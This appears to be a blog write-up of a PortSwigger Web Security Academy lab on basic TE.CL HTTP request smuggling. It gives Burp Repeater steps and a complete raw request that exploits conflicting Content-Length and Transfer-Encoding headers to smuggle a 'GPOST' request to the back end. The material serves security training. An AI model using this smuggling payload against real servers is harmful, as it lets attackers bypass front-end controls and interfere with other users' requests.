24.14 Lab: HTTP request smuggling, basic TE.CL vulnerability | 2024

This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method. To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST | Karthikeyan Nagaraj

Karthikeyan Nagaraj
2 min readMay 11, 2024

Description

This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method.

To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.

Note

Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the Request attributes section of the Inspector panel.

Tip

Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.

Solution

  1. Reload the home page, capture the request and send it to repeater.
  2. Right-click and click change request method.
  3. Ensure that the “Update Content-Length” option is unchecked.
  4. Using Burp Repeater, issue the following request twice (You can remove unwanted Headers) and You should add 2 lines at the bottom:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

x=1
0

5. If you received 200 response then the 2nd time you’ll receive Unrecognized method GPOST to solve the lab

--

--

Karthikeyan Nagaraj

Security Researcher | Bug Hunter | Web Pentester | CTF Player | TryHackme Top 1% | AI Researcher | Blockchain Developer